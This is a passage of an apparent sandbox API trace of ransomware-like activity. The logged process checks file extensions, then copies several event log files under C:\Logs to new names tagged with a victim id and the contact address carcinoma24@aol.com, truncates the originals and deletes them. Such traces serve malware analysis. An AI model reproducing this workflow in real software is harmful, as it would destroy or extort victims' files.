(lpString="C:\\Boot\\Fonts\\meiryo_boot.ttf") returned 29 [0177.247] lstrlenW (lpString=".dbf") returned 4 [0177.247] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0177.247] lstrlenW (lpString="C:\\Boot\\Fonts\\meiryo_boot.ttf") returned 29 [0177.247] lstrlenW (lpString=".1cd") returned 4 [0177.247] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0177.247] lstrlenW (lpString="C:\\Boot\\Fonts\\meiryo_boot.ttf") returned 29 [0177.247] lstrlenW (lpString=".jpg") returned 4 [0177.247] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0177.247] lstrcmpiW (lpString1=".sys", lpString2=".carcn") returned 1 [0177.247] lstrlenW (lpString="hiberfil.sys") returned 12 [0177.247] CreateFileW (lpFileName="C:\\hiberfil.sys" (normalized: "c:\\hiberfil.sys"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0177.247] lstrlenW (lpString="C:\\hiberfil.sys") returned 15 [0177.247] lstrlenW (lpString="C:\\hiberfil.sys") returned 15 [0177.250] lstrlenW (lpString=".doc") returned 4 [0177.250] lstrcmpiW (lpString1=".doc", lpString2=".sys") returned -1 [0177.250] lstrlenW (lpString=".docx") returned 5 [0177.250] lstrcmpiW (lpString1=".docx", lpString2="l.sys") returned -1 [0177.250] lstrlenW (lpString=".pdf") returned 4 [0177.250] lstrcmpiW (lpString1=".pdf", lpString2=".sys") returned -1 [0177.250] lstrlenW (lpString=".xls") returned 4 [0177.250] lstrcmpiW (lpString1=".xls", lpString2=".sys") returned 1 [0177.250] lstrlenW (lpString=".xlsx") returned 5 [0177.250] lstrcmpiW (lpString1=".xlsx", lpString2="l.sys") returned -1 [0177.250] lstrlenW (lpString=".ppt") returned 4 [0177.250] lstrcmpiW (lpString1=".ppt", lpString2=".sys") returned -1 [0177.250] lstrlenW (lpString="C:\\hiberfil.sys") returned 15 [0177.250] lstrlenW (lpString=".zip") returned 4 [0177.250] lstrcmpiW (lpString1=".zip", lpString2=".sys") returned 1 [0177.250] lstrlenW (lpString=".rar") returned 4 [0177.250] lstrcmpiW (lpString1=".rar", lpString2=".sys") returned -1 [0177.250] lstrlenW (lpString=".bz2") returned 4 [0177.250] lstrcmpiW (lpString1=".bz2", lpString2=".sys") returned -1 [0177.250] lstrlenW (lpString=".7z") returned 3 [0177.250] lstrcmpiW (lpString1=".7z", lpString2="sys") returned -1 [0177.251] lstrlenW (lpString="C:\\hiberfil.sys") returned 15 [0177.251] lstrlenW (lpString=".dbf") returned 4 [0177.251] lstrcmpiW (lpString1=".dbf", lpString2=".sys") returned -1 [0177.251] lstrlenW (lpString="C:\\hiberfil.sys") returned 15 [0177.251] lstrlenW (lpString=".1cd") returned 4 [0177.251] lstrcmpiW (lpString1=".1cd", lpString2=".sys") returned -1 [0177.251] lstrlenW (lpString="C:\\hiberfil.sys") returned 15 [0177.251] lstrlenW (lpString=".jpg") returned 4 [0177.251] lstrcmpiW (lpString1=".jpg", lpString2=".sys") returned -1 [0177.251] lstrlenW (lpString="C:\\hiberfil.sys") returned 15 [0177.251] lstrlenW (lpString="C:\\hiberfil.sys") returned 15 [0177.251] lstrlenW (lpString=".doc") returned 4 [0177.251] lstrcmpiW (lpString1=".doc", lpString2=".sys") returned -1 [0177.251] lstrlenW (lpString=".docx") returned 5 [0177.251] lstrcmpiW (lpString1=".docx", lpString2="l.sys") returned -1 [0177.251] lstrlenW (lpString=".pdf") returned 4 [0177.251] lstrcmpiW (lpString1=".pdf", lpString2=".sys") returned -1 [0177.251] lstrlenW (lpString=".xls") returned 4 [0177.251] lstrcmpiW (lpString1=".xls", lpString2=".sys") returned 1 [0177.251] lstrlenW (lpString=".xlsx") returned 5 [0177.251] lstrcmpiW (lpString1=".xlsx", lpString2="l.sys") returned -1 [0177.251] lstrlenW (lpString=".ppt") returned 4 [0177.251] lstrcmpiW (lpString1=".ppt", lpString2=".sys") returned -1 [0177.251] lstrlenW (lpString="C:\\hiberfil.sys") returned 15 [0177.251] lstrlenW (lpString=".zip") returned 4 [0177.251] lstrcmpiW (lpString1=".zip", lpString2=".sys") returned 1 [0177.251] lstrlenW (lpString=".rar") returned 4 [0177.251] lstrcmpiW (lpString1=".rar", lpString2=".sys") returned -1 [0177.251] lstrlenW (lpString=".bz2") returned 4 [0177.251] lstrcmpiW (lpString1=".bz2", lpString2=".sys") returned -1 [0177.251] lstrlenW (lpString=".7z") returned 3 [0177.251] lstrcmpiW (lpString1=".7z", lpString2="sys") returned -1 [0177.251] lstrlenW (lpString="C:\\hiberfil.sys") returned 15 [0177.251] lstrlenW (lpString=".dbf") returned 4 [0177.252] lstrcmpiW (lpString1=".dbf", lpString2=".sys") returned -1 [0177.252] lstrlenW (lpString="C:\\hiberfil.sys") returned 15 [0177.252] lstrlenW (lpString=".1cd") returned 4 [0177.252] lstrcmpiW (lpString1=".1cd", lpString2=".sys") returned -1 [0177.252] lstrlenW (lpString="C:\\hiberfil.sys") returned 15 [0177.252] lstrlenW (lpString=".jpg") returned 4 [0177.252] lstrcmpiW (lpString1=".jpg", lpString2=".sys") returned -1 [0177.252] lstrcmpiW (lpString1=".evtx", lpString2=".carcn") returned 1 [0177.252] lstrlenW (lpString="Application.evtx") returned 16 [0177.252] CreateFileW (lpFileName="C:\\Logs\\Application.evtx" (normalized: "c:\\logs\\application.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0177.271] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x266ff14 | out: lpFileSize=0x266ff14*=69632) returned 1 [0177.271] CloseHandle (hObject=0x310) returned 1 [0177.272] GetFileAttributesW (lpFileName="C:\\Logs\\Application.evtx" (normalized: "c:\\logs\\application.evtx")) returned 0x20 [0177.272] GetFileAttributesW (lpFileName="C:\\Logs\\Application.evtx.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\logs\\application.evtx.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0177.272] CreateFileW (lpFileName="C:\\Logs\\Application.evtx" (normalized: "c:\\logs\\application.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0177.272] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x266fec0 | out: lpNewFilePointer=0x0) returned 1 [0177.272] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x266fec0 | out: lpNewFilePointer=0x0) returned 1 [0177.272] CreateFileW (lpFileName="C:\\Logs\\Application.evtx.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\logs\\application.evtx.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0177.272] GetLastError () returned 0x0 [0177.272] ReadFile (in: hFile=0x310, lpBuffer=0x38be020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x266fecc, lpOverlapped=0x0 | out: lpBuffer=0x38be020*, lpNumberOfBytesRead=0x266fecc*=0x11000, lpOverlapped=0x0) returned 1 [0177.296] WriteFile (in: hFile=0x364, lpBuffer=0x38be020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x266fc94, lpOverlapped=0x0 | out: lpBuffer=0x38be020*, lpNumberOfBytesWritten=0x266fc94*=0x11010, lpOverlapped=0x0) returned 1 [0177.297] ReadFile (in: hFile=0x310, lpBuffer=0x38be020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x266fecc, lpOverlapped=0x0 | out: lpBuffer=0x38be020*, lpNumberOfBytesRead=0x266fecc*=0x0, lpOverlapped=0x0) returned 1 [0177.297] WriteFile (in: hFile=0x364, lpBuffer=0x38be020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x266fc94, lpOverlapped=0x0 | out: lpBuffer=0x38be020*, lpNumberOfBytesWritten=0x266fc94*=0xf4, lpOverlapped=0x0) returned 1 [0177.298] SetEndOfFile (hFile=0x364) returned 1 [0177.298] CloseHandle (hObject=0x364) returned 1 [0177.299] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x266fec0 | out: lpNewFilePointer=0x0) returned 1 [0177.299] SetEndOfFile (hFile=0x310) returned 1 [0177.300] CloseHandle (hObject=0x310) returned 1 [0177.300] SetFileAttributesW (lpFileName="C:\\Logs\\Application.evtx.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0177.301] DeleteFileW (lpFileName="C:\\Logs\\Application.evtx" (normalized: "c:\\logs\\application.evtx")) returned 1 [0177.402] lstrlenW (lpString="C:\\Logs\\Application.evtx") returned 24 [0177.402] lstrlenW (lpString="C:\\Logs\\Application.evtx") returned 24 [0177.402] lstrlenW (lpString=".doc") returned 4 [0177.402] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0177.402] lstrlenW (lpString=".docx") returned 5 [0177.402] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0177.402] lstrlenW (lpString=".pdf") returned 4 [0177.402] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0177.402] lstrlenW (lpString=".xls") returned 4 [0177.402] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0177.402] lstrlenW (lpString=".xlsx") returned 5 [0177.402] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0177.403] lstrlenW (lpString=".ppt") returned 4 [0177.403] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0177.403] lstrlenW (lpString="C:\\Logs\\Application.evtx") returned 24 [0177.403] lstrlenW (lpString=".zip") returned 4 [0177.403] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0177.403] lstrlenW (lpString=".rar") returned 4 [0177.403] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0177.403] lstrlenW (lpString=".bz2") returned 4 [0177.403] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0177.403] lstrlenW (lpString=".7z") returned 3 [0177.403] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0177.403] lstrlenW (lpString="C:\\Logs\\Application.evtx") returned 24 [0177.403] lstrlenW (lpString=".dbf") returned 4 [0177.403] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0177.403] lstrlenW (lpString="C:\\Logs\\Application.evtx") returned 24 [0177.403] lstrlenW (lpString=".1cd") returned 4 [0177.403] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0177.403] lstrlenW (lpString="C:\\Logs\\Application.evtx") returned 24 [0177.403] lstrlenW (lpString=".jpg") returned 4 [0177.403] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0177.403] lstrlenW (lpString="C:\\Logs\\Application.evtx") returned 24 [0177.403] lstrlenW (lpString="C:\\Logs\\Application.evtx") returned 24 [0177.403] lstrlenW (lpString=".doc") returned 4 [0177.403] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0177.403] lstrlenW (lpString=".docx") returned 5 [0177.403] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0177.403] lstrlenW (lpString=".pdf") returned 4 [0177.403] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0177.403] lstrlenW (lpString=".xls") returned 4 [0177.403] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0177.403] lstrlenW (lpString=".xlsx") returned 5 [0177.403] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0177.403] lstrlenW (lpString=".ppt") returned 4 [0177.404] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0177.406] lstrlenW (lpString="C:\\Logs\\Application.evtx") returned 24 [0177.406] lstrlenW (lpString=".zip") returned 4 [0177.406] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0177.406] lstrlenW (lpString=".rar") returned 4 [0177.406] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0177.406] lstrlenW (lpString=".bz2") returned 4 [0177.406] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0177.406] lstrlenW (lpString=".7z") returned 3 [0177.406] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0177.406] lstrlenW (lpString="C:\\Logs\\Application.evtx") returned 24 [0177.406] lstrlenW (lpString=".dbf") returned 4 [0177.406] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0177.407] lstrlenW (lpString="C:\\Logs\\Application.evtx") returned 24 [0177.407] lstrlenW (lpString=".1cd") returned 4 [0177.407] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0177.407] lstrlenW (lpString="C:\\Logs\\Application.evtx") returned 24 [0177.407] lstrlenW (lpString=".jpg") returned 4 [0177.407] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0177.407] lstrcmpiW (lpString1=".evtx", lpString2=".carcn") returned 1 [0177.407] lstrlenW (lpString="Internet Explorer.evtx") returned 22 [0177.407] CreateFileW (lpFileName="C:\\Logs\\Internet Explorer.evtx" (normalized: "c:\\logs\\internet explorer.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0177.410] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x266ff14 | out: lpFileSize=0x266ff14*=69632) returned 1 [0177.410] CloseHandle (hObject=0x364) returned 1 [0177.410] GetFileAttributesW (lpFileName="C:\\Logs\\Internet Explorer.evtx" (normalized: "c:\\logs\\internet explorer.evtx")) returned 0x20 [0177.411] GetFileAttributesW (lpFileName="C:\\Logs\\Internet Explorer.evtx.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\logs\\internet explorer.evtx.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0177.412] CreateFileW (lpFileName="C:\\Logs\\Internet Explorer.evtx" (normalized: "c:\\logs\\internet explorer.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0177.413] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x266fec0 | out: lpNewFilePointer=0x0) returned 1 [0177.413] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x266fec0 | out: lpNewFilePointer=0x0) returned 1 [0177.413] CreateFileW (lpFileName="C:\\Logs\\Internet Explorer.evtx.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\logs\\internet explorer.evtx.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0177.413] GetLastError () returned 0x0 [0177.413] ReadFile (in: hFile=0x318, lpBuffer=0x38be020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x266fecc, lpOverlapped=0x0 | out: lpBuffer=0x38be020*, lpNumberOfBytesRead=0x266fecc*=0x11000, lpOverlapped=0x0) returned 1 [0177.501] WriteFile (in: hFile=0x36c, lpBuffer=0x38be020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x266fc94, lpOverlapped=0x0 | out: lpBuffer=0x38be020*, lpNumberOfBytesWritten=0x266fc94*=0x11010, lpOverlapped=0x0) returned 1 [0177.502] ReadFile (in: hFile=0x318, lpBuffer=0x38be020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x266fecc, lpOverlapped=0x0 | out: lpBuffer=0x38be020*, lpNumberOfBytesRead=0x266fecc*=0x0, lpOverlapped=0x0) returned 1 [0177.502] WriteFile (in: hFile=0x36c, lpBuffer=0x38be020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x266fc94, lpOverlapped=0x0 | out: lpBuffer=0x38be020*, lpNumberOfBytesWritten=0x266fc94*=0x100, lpOverlapped=0x0) returned 1 [0177.502] SetEndOfFile (hFile=0x36c) returned 1 [0177.503] CloseHandle (hObject=0x36c) returned 1 [0177.504] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x266fec0 | out: lpNewFilePointer=0x0) returned 1 [0177.504] SetEndOfFile (hFile=0x318) returned 1 [0177.505] CloseHandle (hObject=0x318) returned 1 [0177.505] SetFileAttributesW (lpFileName="C:\\Logs\\Internet Explorer.evtx.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0177.506] DeleteFileW (lpFileName="C:\\Logs\\Internet Explorer.evtx" (normalized: "c:\\logs\\internet explorer.evtx")) returned 1 [0177.506] lstrlenW (lpString="C:\\Logs\\Internet Explorer.evtx") returned 30 [0177.506] lstrlenW (lpString="C:\\Logs\\Internet Explorer.evtx") returned 30 [0177.506] lstrlenW (lpString=".doc") returned 4 [0177.506] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0177.506] lstrlenW (lpString=".docx") returned 5 [0177.506] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0177.506] lstrlenW (lpString=".pdf") returned 4 [0177.506] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0177.506] lstrlenW (lpString=".xls") returned 4 [0177.506] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0177.506] lstrlenW (lpString=".xlsx") returned 5 [0177.506] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0177.506] lstrlenW (lpString=".ppt") returned 4 [0177.506] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0177.506] lstrlenW (lpString="C:\\Logs\\Internet Explorer.evtx") returned 30 [0177.506] lstrlenW (lpString=".zip") returned 4 [0177.506] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0177.506] lstrlenW (lpString=".rar") returned 4 [0177.506] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0177.506] lstrlenW (lpString=".bz2") returned 4 [0177.507] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0177.507] lstrlenW (lpString=".7z") returned 3 [0177.507] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0177.507] lstrlenW (lpString="C:\\Logs\\Internet Explorer.evtx") returned 30 [0177.507] lstrlenW (lpString=".dbf") returned 4 [0177.507] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0177.507] lstrlenW (lpString="C:\\Logs\\Internet Explorer.evtx") returned 30 [0177.507] lstrlenW (lpString=".1cd") returned 4 [0177.507] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0177.507] lstrlenW (lpString="C:\\Logs\\Internet Explorer.evtx") returned 30 [0177.507] lstrlenW (lpString=".jpg") returned 4 [0177.507] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0177.507] lstrlenW (lpString="C:\\Logs\\Internet Explorer.evtx") returned 30 [0177.507] lstrlenW (lpString="C:\\Logs\\Internet Explorer.evtx") returned 30 [0177.507] lstrlenW (lpString=".doc") returned 4 [0177.507] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0177.507] lstrlenW (lpString=".docx") returned 5 [0177.507] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0177.507] lstrlenW (lpString=".pdf") returned 4 [0177.507] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0177.507] lstrlenW (lpString=".xls") returned 4 [0177.507] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0177.507] lstrlenW (lpString=".xlsx") returned 5 [0177.507] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0177.507] lstrlenW (lpString=".ppt") returned 4 [0177.507] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0177.507] lstrlenW (lpString="C:\\Logs\\Internet Explorer.evtx") returned 30 [0177.507] lstrlenW (lpString=".zip") returned 4 [0177.507] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0177.507] lstrlenW (lpString=".rar") returned 4 [0177.507] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0177.507] lstrlenW (lpString=".bz2") returned 4 [0177.507] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0177.507] lstrlenW (lpString=".7z") returned 3 [0177.508] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0177.508] lstrlenW (lpString="C:\\Logs\\Internet Explorer.evtx") returned 30 [0177.508] lstrlenW (lpString=".dbf") returned 4 [0177.508] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0177.508] lstrlenW (lpString="C:\\Logs\\Internet Explorer.evtx") returned 30 [0177.508] lstrlenW (lpString=".1cd") returned 4 [0177.508] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0177.508] lstrlenW (lpString="C:\\Logs\\Internet Explorer.evtx") returned 30 [0177.508] lstrlenW (lpString=".jpg") returned 4 [0177.508] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0177.508] lstrcmpiW (lpString1=".evtx", lpString2=".carcn") returned 1 [0177.508] lstrlenW (lpString="Microsoft-Client-Licensing-Platform%4Admin.evtx") returned 47 [0177.508] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx" (normalized: "c:\\logs\\microsoft-client-licensing-platform%4admin.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0177.508] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x266ff14 | out: lpFileSize=0x266ff14*=69632) returned 1 [0177.508] CloseHandle (hObject=0x318) returned 1 [0177.508] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx" (normalized: "c:\\logs\\microsoft-client-licensing-platform%4admin.evtx")) returned 0x20 [0177.508] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\logs\\microsoft-client-licensing-platform%4admin.evtx.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0177.509] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx" (normalized: "c:\\logs\\microsoft-client-licensing-platform%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0177.509] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x266fec0 | out: lpNewFilePointer=0x0) returned 1 [0177.509] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x266fec0 | out: lpNewFilePointer=0x0) returned 1 [0177.509] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\logs\\microsoft-client-licensing-platform%4admin.evtx.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0177.509] GetLastError () returned 0x0 [0177.509] ReadFile (in: hFile=0x318, lpBuffer=0x38be020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x266fecc, lpOverlapped=0x0 | out: lpBuffer=0x38be020*, lpNumberOfBytesRead=0x266fecc*=0x11000, lpOverlapped=0x0) returned 1 [0177.533] WriteFile (in: hFile=0x36c, lpBuffer=0x38be020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x266fc94, lpOverlapped=0x0 | out: lpBuffer=0x38be020*, lpNumberOfBytesWritten=0x266fc94*=0x11010, lpOverlapped=0x0) returned 1 [0177.535] ReadFile (in: hFile=0x318, lpBuffer=0x38be020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x266fecc, lpOverlapped=0x0 | out: lpBuffer=0x38be020*, lpNumberOfBytesRead=0x266fecc*=0x0, lpOverlapped=0x0) returned 1 [0177.535] WriteFile (in: hFile=0x36c, lpBuffer=0x38be020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x266fc94, lpOverlapped=0x0 | out: lpBuffer=0x38be020*, lpNumberOfBytesWritten=0x266fc94*=0x132, lpOverlapped=0x0) returned 1 [0177.535] SetEndOfFile (hFile=0x36c) returned 1 [0177.545] CloseHandle (hObject=0x36c) returned 1 [0177.546] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x266fec0 | out: lpNewFilePointer=0x0) returned 1 [0177.546] SetEndOfFile (hFile=0x318) returned 1 [0177.547] CloseHandle (hObject=0x318) returned 1 [0177.547] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0177.548] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx" (normalized: "c:\\logs\\microsoft-client-licensing-platform%4admin.evtx")) returned 1 [0177.548] lstrlenW (lpString="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx") returned 55 [0177.548] lstrlenW (lpString="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx") returned 55 [0177.548] lstrlenW (lpString=".doc") returned 4 [0177.548] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0177.548] lstrlenW (lpString=".docx") returned 5 [0177.548] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0177.548] lstrlenW (lpString=".pdf") returned 4 [0177.548] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0177.548] lstrlenW (lpString=".xls") returned 4 [0177.548] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0177.548] lstrlenW (lpString=".xlsx") returned 5 [0177.548] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0177.548] lstrlenW (lpString=".ppt") returned 4 [0177.548] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0177.548] lstrlenW (lpString="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx") returned 55 [0177.548] lstrlenW (lpString=".zip") returned 4 [0177.548] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0177.548] lstrlenW (lpString=".rar") returned 4 [0177.548] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0177.548] lstrlenW (lpString=".bz2") returned 4 [0177.548] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0177.548] lstrlenW (lpString=".7z") returned 3 [0177.548] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0177.548] lstrlenW (lpString="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx") returned 55 [0177.549] lstrlenW (lpString=".dbf") returned 4 [0177.549] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0177.549] lstrlenW (lpString="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx") returned 55 [0177.549] lstrlenW (lpString=".1cd") returned 4 [0177.549] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0177.549] lstrlenW (lpString="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx") returned 55 [0177.549] lstrlenW (lpString=".jpg") returned 4 [0177.549] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0177.549] lstrlenW (lpString="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx") returned 55 [0177.549] lstrlenW (lpString="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx") returned 55 [0177.549] lstrlenW (lpString=".doc") returned 4 [0177.549] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0177.549] lstrlenW (lpString=".docx") returned 5 [0177.549] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0177.549] lstrlenW (lpString=".pdf") returned 4 [0177.549] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0177.549] lstrlenW (lpString=".xls") returned 4 [0177.549] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0177.549] lstrlenW (lpString=".xlsx") returned 5 [0177.549] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0177.549] lstrlenW (lpString=".ppt") returned 4 [0177.549] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0177.549] lstrlenW 